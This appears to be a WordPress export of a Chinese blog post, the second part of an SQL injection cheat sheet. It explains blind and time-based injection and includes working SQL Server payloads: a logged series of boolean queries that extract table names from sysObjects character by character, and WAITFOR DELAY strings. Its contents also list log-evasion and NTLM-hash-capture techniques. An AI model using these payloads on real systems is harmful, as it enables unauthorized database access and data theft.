{"id":452,"date":"2016-03-23T13:02:18","date_gmt":"2016-03-23T05:02:18","guid":{"rendered":"http:\/\/www.cnmiss.cn\/?p=452"},"modified":"2016-03-23T13:02:18","modified_gmt":"2016-03-23T05:02:18","slug":"sql%e6%b3%a8%e5%85%a5%e9%80%9f%e6%9f%a5%e8%a1%a8%ef%bc%88%e4%b8%8b%ef%bc%89","status":"publish","type":"post","link":"https:\/\/www.cnmiss.cn\/?p=452","title":{"rendered":"SQL\u6ce8\u5165\u901f\u67e5\u8868\uff08\u4e0b\uff09"},"content":{"rendered":"

\u4e00\u3001SQL\u6ce8\u5165\u901f\u67e5\u8868\uff08\u4e0b\uff09<\/h1>\n
\n

<\/a>0x00 \u76ee\u5f55<\/h3>\n
    \n
  1. \u76f2\u6ce8\n
      \n
    1. \u5173\u4e8e\u76f2\u6ce8<\/li>\n
    2. \u5b9e\u6218\u4e2d\u7684\u76f2\u6ce8\u5b9e\u4f8b<\/li>\n<\/ol>\n<\/li>\n
    3. \u5ef6\u65f6\u76f2\u6ce8\n
        \n
      1. \n
        1
        <\/div><\/td>
        WAITFOR DELAY [time]<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

        (S)<\/li>\n

      2. \u5b9e\u4f8b<\/li>\n
      3. \n
        1
        <\/div><\/td>
        BENCHMARK()<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

        (M)<\/li>\n

      4. \u5b9e\u4f8b<\/li>\n
      5. \n
        1
        <\/div><\/td>
        pg_sleep(seconds)<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

        (P)<\/li>\n<\/ol>\n<\/li>\n

      6. \u63a9\u76d6\u75d5\u8ff9\n
          \n
        1. \n
          1
          <\/div><\/td>
          -sp_password log bypass<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

          (S)<\/li>\n<\/ol>\n<\/li>\n

        2. \u6ce8\u5165\u6d4b\u8bd5<\/li>\n
        3. \u4e00\u4e9b\u5176\u4ed6\u7684MySQL\u7b14\u8bb0\n
            \n
          1. MySQL\u4e2d\u597d\u7528\u7684\u51fd\u6570<\/li>\n<\/ol>\n<\/li>\n
          2. SQL\u6ce8\u5165\u7684\u9ad8\u7ea7\u4f7f\u7528\n
              \n
            1. \u5f3a\u5236SQL Server\u6765\u5f97\u5230NTLM\u54c8\u5e0c<\/li>\n
            2. Bulk insert UNC\u5171\u4eab\u6587\u4ef6 (S)<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n

              <\/a>0x01 \u76f2\u6ce8<\/h3>\n

              <\/a>\u5173\u4e8e\u76f2\u6ce8<\/h4>\n

              \u4e00\u4e2a\u7ecf\u8fc7\u5b8c\u6574\u800c\u4f18\u79c0\u5f00\u53d1\u7684\u5e94\u7528\u4e00\u822c\u6765\u8bf4\u4f60\u662f\u770b\u4e0d\u5230\u9519\u8bef\u63d0\u793a\u7684\uff0c\u6240\u4ee5\u4f60\u662f\u6ca1\u529e\u6cd5\u4ece<\/p>\n

              1
              <\/div><\/td>
              Union<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

              \u653b\u51fb\u548c\u9519\u8bef\u4e2d\u63d0\u53d6\u51fa\u6570\u636e\u7684<\/p>\n

              \u4e00\u822c\u76f2\u6ce8\uff0c\u4f60\u4e0d\u80fd\u5728\u9875\u9762\u4e2d\u770b\u5230\u54cd\u5e94\uff0c\u4f46\u662f\u4f60\u4f9d\u7136\u80fd\u540c\u4e2aHTTP\u72b6\u6001\u7801\u5f97\u77e5\u67e5\u8be2\u7684\u7ed3\u679c<\/p>\n

              \u5b8c\u5168\u76f2\u6ce8\uff0c\u4f60\u65e0\u8bba\u600e\u4e48\u8f93\u5165\u90fd\u5b8c\u5168\u770b\u4e0d\u5230\u4efb\u4f55\u53d8\u5316\u3002\u4f60\u53ea\u80fd\u901a\u8fc7\u65e5\u5fd7\u6216\u8005\u5176\u5b83\u4ec0\u4e48\u7684\u6765\u6ce8\u5165\u3002\u867d\u7136\u4e0d\u600e\u4e48\u5e38\u89c1\u3002<\/p>\n

              \u5728\u4e00\u822c\u76f2\u6ce8\u4e0b\u4f60\u80fd\u591f\u4f7f\u7528If\u8bed\u53e5\u6216\u8005**WHERE\u67e5\u8be2\u6ce8\u5165\\***|(\u4e00\u822c\u6765\u8bf4\u6bd4\u8f83\u7b80\u5355)*\uff0c\u5728\u5b8c\u5168\u76f2\u6ce8\u4e0b\u4f60\u9700\u8981\u4f7f\u7528\u4e00\u4e9b\u5ef6\u65f6\u51fd\u6570\u5e76\u5206\u6790\u54cd\u5e94\u65f6\u95f4\u3002\u4e3a\u6b64\u5728<\/p>\n

              1
              <\/div><\/td>
              SQL Server<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

              \u4e2d\u4f60\u9700\u8981\u4f7f\u7528<\/p>\n

              1
              <\/div><\/td>
              WAIT FOR DELAY '0:0:10'<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

              \uff0c\u5728MySQL\u4e2d\u4f7f\u7528<\/p>\n

              1
              <\/div><\/td>
              BENCHMARK()<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

              \uff0c\u5728<\/p>\n

              1
              <\/div><\/td>
              PostgreSQL<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

              \u4e2d\u4f7f\u7528<\/p>\n

              1
              <\/div><\/td>
              pg_sleep(10)<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

              \uff0c\u4ee5\u53ca\u5728<\/p>\n

              1
              <\/div><\/td>
              ORACLE<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

              \u4e2d\u7684\u4e00\u4e9b<\/p>\n

              1
              <\/div><\/td>
              PL\/SQL\u5c0f\u6280\u5de7<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

              \u3002<\/p>\n

              <\/a>\u5b9e\u6218\u4e2d\u7684\u76f2\u6ce8\u5b9e\u4f8b<\/h4>\n

              \u4ee5\u4e0b\u7684\u8f93\u51fa\u6765\u81ea\u4e00\u4e2a\u771f\u5b9e\u7684\u79c1\u4eba\u76f2\u6ce8\u5de5\u5177\u5728\u6d4b\u8bd5\u4e00\u4e2a<\/p>\n

              1
              <\/div><\/td>
              SQL Server<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

              \u540e\u7aef\u5e94\u7528\u5e76\u4e14\u904d\u5386\u8868\u540d\u8fd9\u4e9b\u8bf7\u6c42\u5b8c\u6210\u4e86\u7b2c\u4e00\u4e2a\u8868\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\u3002\u7531\u4e8e\u662f\u81ea\u52a8\u5316\u653b\u51fb\uff0cSQL\u67e5\u8be2\u6bd4\u5b9e\u9645\u9700\u6c42\u7a0d\u5fae\u590d\u6742\u4e00\u70b9\u3002\u5176\u4e2d\u6211\u4eec\u4f7f\u7528\u4e86\u4e8c\u5206\u641c\u7d22\u6765\u63a2\u6d4b\u5b57\u7b26\u7684ASCII\u7801\u3002<\/p>\n

              TRUE\u548cFALSE\u6807\u5fd7\u4ee3\u8868\u4e86\u67e5\u8be2\u8fd4\u56de\u4e86<\/p>\n

              1
              <\/div><\/td>
              true<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

              \u6216<\/p>\n

              1
              <\/div><\/td>
              false<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n
              TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- \r\n\r\nFALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103-- \r\n\r\nTRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) \r\n\r\nFALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89-- \r\n\r\nTRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) \r\n\r\nFALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83-- \r\n\r\nTRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) \r\n\r\nFALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80-- \r\n\r\n\r\nFALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)\r\n<\/pre>\n
              \u7531\u4e8e\u4e0a\u9762\u540e\u4e24\u4e2a\u67e5\u8be2\u90fd\u662ffalse\uff0c\u6211\u4eec\u80fd\u6e05\u695a\u7684\u77e5\u9053\u8868\u540d\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\u7684ASCII\u7801\u662f80\uff0c\u4e5f\u5c31\u662f”P”\u3002\u8fd9\u5c31\u662f\u6211\u4eec\u901a\u8fc7\u4e8c\u5206\u7b97\u6cd5\u6765\u8fdb\u884c\u76f2\u6ce8\u7684\u65b9\u6cd5\u3002\u5176\u4ed6\u5df2\u77e5\u7684\u65b9\u6cd5\u662f\u4e00\u4f4d\u4e00\u4f4d(<\/p>\n
              1
              <\/div><\/td>
              bit by bit<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n
              )\u5730\u8bfb\u53d6\u6570\u636e\u3002\u8fd9\u4e9b\u65b9\u6cd5\u5728\u4e0d\u540c\u6761\u4ef6\u4e0b\u90fd\u5f88\u6709\u6548\u3002<\/p>\n
              <\/a>\u5ef6\u65f6\u76f2\u6ce8<\/h3>\n
              \u9996\u5148\uff0c\u53ea\u5728\u5b8c\u5168\u6ca1\u6709\u63d0\u793a(<\/p>\n
              1
              <\/div><\/td>
              really blind<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n
              )\u7684\u60c5\u51b5\u4e0b\u4f7f\u7528\uff0c\u5426\u5219\u8bf7\u4f7f\u7528<\/p>\n
              1
              <\/div><\/td>
              1\/0\u65b9\u5f0f<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n
              \u901a\u8fc7\u9519\u8bef\u6765\u5224\u65ad\u5dee\u5f02\u3002\u5176\u6b21\uff0c\u5728\u4f7f\u752820\u79d2\u4ee5\u4e0a\u7684\u5ef6\u65f6\u65f6\u8981\u5c0f\u5fc3\uff0c\u56e0\u4e3a\u5e94\u7528\u4e0e\u6570\u636e\u5e93\u7684\u8fde\u63a5API\u53ef\u80fd\u4f1a\u5224\u5b9a\u4e3a\u8d85\u65f6(<\/p>\n
              1
              <\/div><\/td>
              timeout<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n
              )\u3002<\/p>\n
              <\/a>WAITFOR DELAY\u00a0time<\/a><\/h4>\n
              \u8fd9\u5c31\u8ddf<\/p>\n
              1
              <\/div><\/td>
              sleep<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n
              \u5dee\u4e0d\u591a\uff0c\u7b49\u5f85\u7279\u5b9a\u7684\u65f6\u95f4\u3002\u901a\u8fc7CPU\u6765\u8ba9\u6570\u636e\u5e93\u8fdb\u884c\u7b49\u5f85\u3002<\/p>\n
              WAITFOR DELAY '0:0:10'--\r\n<\/pre>\n
              \u4f60\u4e5f\u53ef\u4ee5\u8fd9\u6837\u7528<\/p>\n
              WAITFOR DELAY '0:0:0.51'\r\n<\/pre>\n
              <\/a>\u5b9e\u4f8b<\/h4>\n